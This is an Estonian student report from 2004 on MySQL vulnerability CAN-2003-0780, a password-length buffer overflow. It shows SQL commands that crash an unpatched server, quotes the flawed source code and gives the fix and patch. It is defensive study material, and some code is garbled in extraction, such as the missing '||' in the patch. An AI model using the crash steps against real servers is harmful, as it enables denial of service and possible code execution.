Tartu Ülikool Matemaatika-Informaatika Teaduskond Referaat Turvaauk CAN-2003-0780 INDREK ZOLK Tartu, 2004
Sisukord Sissejuhatus 3 1 Vea kirjeldus 4 1.1 Üldist.................................................... 4 1.2 Demonstratsioon............................................. 4 1.3 Millest viga on tingitud?......................................... 6 1.4 Vea ärakasutamine............................................ 8 2 Veaparandus 9 2.1 Vea mõjudest hoidumine......................................... 9 2.2 Lähtekoodi parandamine........................................ 9 2.3 Paranduspaik............................................... 10 2.4 Ametlikud parandused.......................................... 10 Kokkuvõte 11 2
Sissejuhatus Käesolev referaat käsitleb avatud lähtekoodiga andmebaasimootori MySQL turvaauku, mille abil saab ründaja täita serveris suvalist koodi. Ründajal on ainult vajalik evida mõningaid administratiivseid õiguseid relatsiooni mysql.user üle. Referaadis demonstreeritakse vea ilmnemist reaalsel installatsioonil, kirjeldatakse, miks see turvaauk üldse esineb ning osutatakse parandamisvõimalustele. Etteruttavalt võib märkida, et käesolevaks ajaks on MySQL uusimates versioonides turvaauk parandatud. 3
Peatükk 1 Vea kirjeldus 1.1 Üldist 10. septembril 2003.a. teatati e-kirjaga [1] postiloendisse full-disclosure serveris lists.netsys.com, et populaarse vabavaralise andmebaasimootori MySQL koodis esineb turvaauk. Nimelt, kui ründajal õnnestub mõne kasutaja parooliks seada piisavalt pikk sõneavaldis, võib ründaja täita serveris suvalist koodi, kirjutades puhvri ületäitumise abil alamprogrammi tagastusaadressi üle. Lisaks sellele võib turvaauku vaadelda ka võimalusena teenusetõkestusründeks pärast pika parooli seadmist ja mysqld kokkukukkumist on kasutajate süsteemne relatsioon mysql.user rikutud ning andmebaasimootori uuesti töölerakendamiseks tuleb muude vahenditega vigane kirje sellest relatsioonist eemaldada. Turvaaugu avastajaks on Frank Denis, turvaaukude nimekirjas [3] kannab see numbrit CAN-2003-0780. 1.2 Demonstratsioon Minu arvuti operatsioonisüsteemiks on FreeBSD 5.1. Kompileerime uusima MySQL 3.23 puu versiooni, selleks on momendil 3.23.58. Selleks anname käsu > cd /usr/ports/databases/mysql323-server && make Tekib kataloog /usr/ports/databases/mysql323-server/work/mysql-3.23.58 mille kopeerime kuhugi sobivasse kohta, olgu siis tema tähiseks nüüd $SOBIV/mysql-3.23.58. Seejärel tõmbame FreeBSD lehelt http://www.freebsd.org juba kompileeritud versiooni mysql-3.23.55.tgz (kuna kompileerimisel skript configure viriseb millegi üle, millest ma saan küll aru, aga ei oska parandada). Tõstame selle sobivasse kohta ja pakime lahti, nüüd on siis ka kataloog $SOBIV/mysql-3.23.55. Koodi uurimiseks tõmbame siiski ka mysql-3.23.55 lähtetekstid ja pakime needki lahti. Loome kataloogi $SOBIV/data ning initsialiseerime: > $SOBIV/mysql-3.23.58/scripts/mysql_install_db --force --datadir=$sobiv/data seejärel paneme esialgu uue versiooni käima: > $SOBIV/mysql-3.23.58/sql/mysqld --datadir=$sobiv/data 4
Nüüd teeme pika parooliga kasutaja ja rakendame õigused (pärast taastame esialgse olukorra): > mysql --user=root Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 2 to server version: 3.23.58 Type help; or \h for help. Type \c to clear the buffer. mysql> USE mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT; Query OK, 4 rows affected (0.02 sec) Records: 4 Duplicates: 0 Warnings: 0 mysql> INSERT INTO user (User, Password) VALUES ("nipitiri", "12345678123456781234567812345678123456781234567812345678123456781234567812345678123456781 Query OK, 1 row affected (0.02 sec) mysql> FLUSH PRIVILEGES; Query OK, 0 rows affected (0.00 sec) mysql> \q Bye > rm -rf $SOBIV/data > $SOBIV/mysql-3.23.58/scripts/mysql_install_db --force --datadir=$sobiv/data Sulgeme mysql-3.23.58 serveri ning avame mysql-3.23.55 serveri: $SOBIV/mysql-3.23.55/libexec/mysqld --datadir=$sobiv/data Proovime neidsamu asju: > mysql --user=root Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 1 to server version: 3.23.55 Type help; or \h for help. Type \c to clear the buffer. mysql> USE mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT; Query OK, 4 rows affected (0.02 sec) Records: 4 Duplicates: 0 Warnings: 0 mysql> INSERT INTO user (User, Password) VALUES ("nipitiri", "12345678123456781234567812345678123456781234567812345678123456781234567812345678123456781 Query OK, 1 row affected (0.01 sec) mysql> FLUSH PRIVILEGES; ERROR 2013: Lost connection to MySQL server during query 5
mysql> SELECT * FROM user; ERROR 2006: MySQL server has gone away No connection. Trying to reconnect... ERROR 2002: Can t connect to local MySQL server through socket /tmp/mysql.sock (61) ERROR: Can t connect to the server mysql> \q Bye Kusjuures serveri aknas oli esimesel juhul (uus versioon) tekst mysql-3.23.58/sql/mysqld: ready for connections ja teisel juhul (vana versioon) mysql-3.23.55/libexec/mysqld: ready for connections mysqld got signal 11; This could be because you hit a bug. It is also possible that this binary or one of the libraries it was linked against is corrupt, improperly built, or misconfigured. This error can also be caused by malfunctioning hardware. We will try our best to scrape up some info that will hopefully help diagnose the problem, but since we have already crashed, something is definitely wrong and this may fail key_buffer_size=8388600 record_buffer=131072 sort_buffer=2097144 max_used_connections=0 max_connections=100 threads_connected=1 It is possible that mysqld could use up to key_buffer_size + (record_buffer + sort_buffer)*max_connections = 225791 K bytes of memory Hope that s ok, if not, decrease some variables in the equation Taaskäivitamisel antakse seesama teade kohe uuesti: mysqld got signal 11; This could be because you hit a bug. It is also possible that this binary or one of the libraries it was linked against is corrupt, improperly built, or misconfigured. This error can also be caused by malfunctioning hardware. ja nii edasi. Ega nüüd enne käima ei saa, kui mingil moel on õnnestunud relatsioonist mysql.user vastav kirje eemaldada. 1.3 Millest viga on tingitud? Nagu teada, salvestatakse MySQL versioonides 4.0.x ja 3.23.x kasutajate paroolid andmebaasi mysql relatsiooni User atribuudis Password. Vaikeinstallatsioonis on selle atribuudi tüübiks char(16) binary, s.t. sinna salvestatakse 16-baidine sõne. Samas ei kontrollita juhtu, kui kellelgi on õnnestunud sellesse atribuuti salvestada pikem sõne. Ründaja (või ka administraator, mingitel kaalutlustel) võib seada atribuudi tüübiks text, longtext või muud taolist pikemat. 6
Osutub, et mistahes koodi käitamiseks serveris piisab käitajal õigusest ALTER COLUMN ja UPDATE relatsiooni mysql.user tarvis. Isegi käsurida pole vajalik (näiteks piisab veebipõhisest administreerimisliidesest). Mis siis lähtekoodi kohta selle läbiviimiseks teada tuleb? Funktsioon get_salt_from_password() failist sql/password.c võtab sisendisse suvalise pikkusega parooli ning tagastab suvalise pikkusega ulong-tüüpi järjendi: /* ** This code assumes that len(password) is divideable with 8 and that ** res is big enough (2 in mysql) */ void get_salt_from_password(ulong *res,const char *password) res[0]=res[1]=0; if (password) while (*password) ulong val=0; uint i; for (i=0 ; i < 8 ; i++) val=(val << 4)+char_val(*password++); *res++=val; } } return; } Nagu näha, loetakse funktsioonis get_salt_from_password() märkide järjendi (sõne) password märke 8 kaupa ning igast 8-sest blokist arvutatakse teatud arvsuurused val, mis paigutatakse järjest ulong-tüüpi järjendisse res. Funktsioon get_salt_from_password() kutsutakse välja failist sql/sql_acl.cc pääsuõiguste kontrollimiseks. Väljakutsuv koodiosa näeb välja järgmine: user.user=get_field(&mem, table,1); user.password=get_field(&mem, table,2); if (user.password && (length=(uint) strlen(user.password)) == 8 && protocol_version == PROTOCOL_VERSION) sql_print_error( "Found old style password for user %s. Ignoring user. (You may want to restart using --old-protocol)", user.user? user.user : ""); /* purecov: tested */ } else if (length % 8) // This holds true for passwords sql_print_error( "Found invalid password for user: %s@%s ; Ignoring user", user.user? user.user : "", user.host.hostname? user.host.hostname : ""); /* purecov: tested */ continue; /* purecov: tested */ } get_salt_from_password(user.salt,user.password); user.access=get_access(table,3) & GLOBAL_ACLS; user.sort=get_sort(2,user.host.hostname,user.user); user.hostname_length=user.host.hostname? (uint) strlen(user.host.hostname) : 0; 7
Nagu näha, antakse (lahtises tekstis) atribuudi Password väärtus funktsioonile get_salt_from_password() ning ootuspäraselt peaks selle töö lõpuks olema arvutatud parooliräsi järjendisse user.salt (arvutavas funktsioonis oli selle järjendi nimeks res). Veel on näha, et kasutajat koos tema parooliga lihtsalt ignoreeritakse, kui parooli märkide arv pole arvu 8 kordne (if (length % 8), s.t. kui jääk tuleb nullist erinev). (Kui relatsiooni user atribuudi Password tüübiks on char(16), siis on sealt saadava pikkus alati arvu 8 kordne.) Kui aga vaadata klassi ACL_USER konstruktorit, siis seisab seal class ACL_USER :public ACL_ACCESS public: acl_host_and_ip host; uint hostname_length; char *user,*password; ulong salt[2]; }; ning isendi ACL_USER user moodustamise järel on järjendi user.salt elementide arvuks 2. Kõik olekski korras, kui räsi arvutavas funktsioonis järjendi res pikkus ei läheks suuremaks kui 2, s.t. kui password koosneks (ülimalt) 2 8 = 16 märgist. Kui nii ei ole, annab järjendi res täitmine (väljakutsuvas protseduuris user.salt) puhvri ületäite. Seda ongi ründamiseks vaja, sest järjendi user.salt arvutamise käigus võib üle kirjutada temale eraldatud mäluosale järgnevad baidid. 1.4 Vea ärakasutamine Eksisteerib exploit selle turvaaugu ärakasutamiseks (vt. näiteks [2]). Selle koodist on näha, et C-keele vahenditega viiakse läbi sisuliselt seesama demonstratsioon, mis peatükis 1.2, välja arvatud, et parooliks seatakse midagi, mille abil viidatakse käsurida väljakutsuvale alamprogrammile mälus. Exploit peaks töötama nii Windows- kui ka Linux-keskkonnas; allikas [1] väidab, et vea edukas kasutamine on mõnede platvormide puhul triviaalne; enamiku Linux-süsteemide korral on tarvis tagastusaadressi jaoks 444 baiti üle kirjutada.. Mõjutatud on kõik MySQL versioonid kuni 4.0.14 ning 3.23.57 (kaasa arvatud). 8
Peatükk 2 Veaparandus 2.1 Vea mõjudest hoidumine Kõnesoleva vea puhul on allika [1] põhjal ainsaks võimaluseks vea mõjusid vähendada MySQL serveri käivitamine mitte-juurkasutaja õigustes. Vaikeinstallatsioon teebki nii, luues eraldi kasutaja mysql ning konfigureerides käivitusskripti sel viisil, et käivitatakse mysql --user=mysql vmt. Siiski saab ründaja käivitada suvalist koodi, aga sel korral vaid kasutaja mysql õigustes. Turvaaugu mõjusid ilma vähemalt lähtekoodi parandamiseta ja uuesti kompileerimata täielikult vältida pole võimalik. 2.2 Lähtekoodi parandamine Vaatleme korraks lähtefaili sql/sql_acl.cc funktsiooni acl_init() leheküljel 7 osutatud kohta (versioon 3.23.55). Vea parandamiseks piisab muuta selles lähtefailis rida else if (length % 8) kujule else if (length % 8 length > 16) Tõepoolest, else-osasse jõutakse siis, kui analüüsitakse atribuudi Password väärtust. if-käsu (positiivses, s.t. rahuldatud tingimuse korral täidetavas) kehas on continue; ning järgnevaid ridu get_salt_from_password(user.salt,user.password); user.access=get_access(table,3) & GLOBAL_ACLS; user.sort=get_sort(2,user.host.hostname,user.user); user.hostname_length=user.host.hostname? (uint) strlen(user.host.hostname) ei minda üldse täitma. Seega kasutajaid, kelle paroolid on pikemad kui 16 märki, nüüdsest ignoreeritakse. 9
2.3 Paranduspaik Referaadi tervikluse huvides anname paiga (patch) versiooni 4.0.14 jaoks (vt. näiteks [1]). Tegelikult, kuna seda koodiosa pole tükk aega muudetud, töötab sama paik ka varasemate versioonide ning ka 3.23 puu versioonide korral. --- mysql-4.0.14-old/sql/sql_acl.cc 2003-07-18 16:57:25.000000000 +0200 +++ mysql-4.0.14/sql/sql_acl.cc 2003-09-10 23:21:13.559759576 +0200 @@ -233,7 +233,7 @@ "Found old style password for user %s. Ignoring user. (You may want to restart mysqld using --old-protocol)", user.user? user.user : ""); /* purecov: tested */ } - else if (length % 8) // This holds true for passwords + else if (length % 8 length > 16) // This holds true for passwords sql_print_error( "Found invalid password for user: %s@%s ; Ignoring user", 2.4 Ametlikud parandused Tootjat MySQL AB teavitati sellest turvaaugust 6. augustil 2003.a. Tootja kinnitas vea olemasolu ning arenduskood oli parandatud järgmiseks päevaks. Alates väljalaskeversioonidest mysql-3.23.58 ja mysql-4.0.15 on turvaauk parandatud. 10
Kokkuvõte Referaadis esitatust ilmneb, et käsitletud turvaaugu kasutamine on siiski küllaltki vähetõenäoline enne augu kasutamist peab ründajal olema süsteemse relatsiooni atribuudi tüübi ja kirje muutmise (või lisamise) õigus. Ilmnes ka, et järjekordselt on programmeerijad eeldanud väljast tulnud andmete korrektsust programmi lähtekood eeldab, et süsteemse relatsiooni andmed on teatud kindla pikkusega. Nii see aga ei pruugi olla ning seda peab ka lähtekood silmas pidama. Tegelikult võib analoogiline probleem esineda ka kasutaja poolt koostatud programmides, kus lähtekood eeldab andmebaasis teatud kindla struktuuriga andmete olemasolu. Nagu näha, tuleb andmete kuju terviklikkuses siiski alati enne andmete kasutamist veenduda. 11
Kirjandus [1] http://lists.netsys.com/pipermail/full-disclosure/2003-september/009819.html [2] http://marc.theaimsgroup.com/?l=bugtraq&m=106364207129993&w=2 [3] http://cve.mitre.org/cve/candidates/downloads/full-can.html [4] Viktor Leppikson. Programmeerimine C-keeles. Tallinn Külim 1997. 12